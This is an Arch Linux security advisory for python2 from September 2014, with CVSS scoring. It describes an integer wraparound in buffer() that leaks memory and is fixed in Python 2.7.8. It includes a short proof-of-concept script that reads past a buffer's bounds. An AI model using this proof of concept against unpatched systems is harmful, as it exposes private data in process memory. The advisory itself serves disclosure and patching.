Lucene search

K
archlinuxArch LinuxASA-201409-3
HistorySep 26, 2014 - 12:00 a.m.

python2: Information leakage through integer overflow

2014-09-2600:00:00
Arch Linux
lists.archlinux.org
29

6.4 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:N/A:P

0.02 Low

EPSS

Percentile

87.4%

It was reported that Python 2.7.8 fixes a potential wraparound in
buffer() with possible CWE-200 implications. This could allow an
attacker to access private information through information leakage.

PoC:

overflow.py
import sys
a = bytearray(‘here be dragons’)
b = buffer(a, sys.maxsize, sys.maxsize)
print b[:8192]

OSVersionArchitecturePackageVersionFilename
anyanyanypython2< 2.7.8-1UNKNOWN

6.4 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:N/A:P

0.02 Low

EPSS

Percentile

87.4%